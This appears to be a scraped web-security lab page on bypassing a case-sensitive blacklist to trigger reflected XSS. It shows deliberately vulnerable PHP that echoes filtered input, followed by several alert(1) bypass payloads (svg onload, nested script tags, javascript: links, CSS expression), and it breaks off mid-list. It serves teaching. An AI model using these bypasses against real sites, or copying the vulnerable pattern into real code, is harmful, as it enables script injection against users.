Lab: Advanced Case-Sensitive Filter Bypass
This lab demonstrates a reflected XSS vulnerability with an advanced filter that blocks multiple case variations of 'script', 'img', and 'image' tags.
str_replace(array('script','Script','sCript',...), '', $_GET['fname'])
Objective: Bypass the extensive case-sensitive filter and execute a JavaScript alert.
Note: Only the First Name field is filtered and displayed. The Last Name field is unfiltered but not used in output.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
$arr = array('script','Script','sCript','scRipt',
'scrIpt','scriPt','scripT','SCript',
'SCRipt','SCRIpt','SCRIPt','SCRIPT',
'img','image');
$re = str_replace($arr, '', $_GET['fname']);
echo $re;
}
svg, body, iframe, object, embed<svg onload=alert(1)><scr<script>ipt>alert(1)</scr<script>ipt>onmouseover, onfocus, onload on tags that aren't filtered<a href="javascript:alert(1)">click</a><div style="width: expression(alert(1))">This lab demonstrates the limitations of even extensive blacklist filtering:
For enterprise-grade XSS prevention: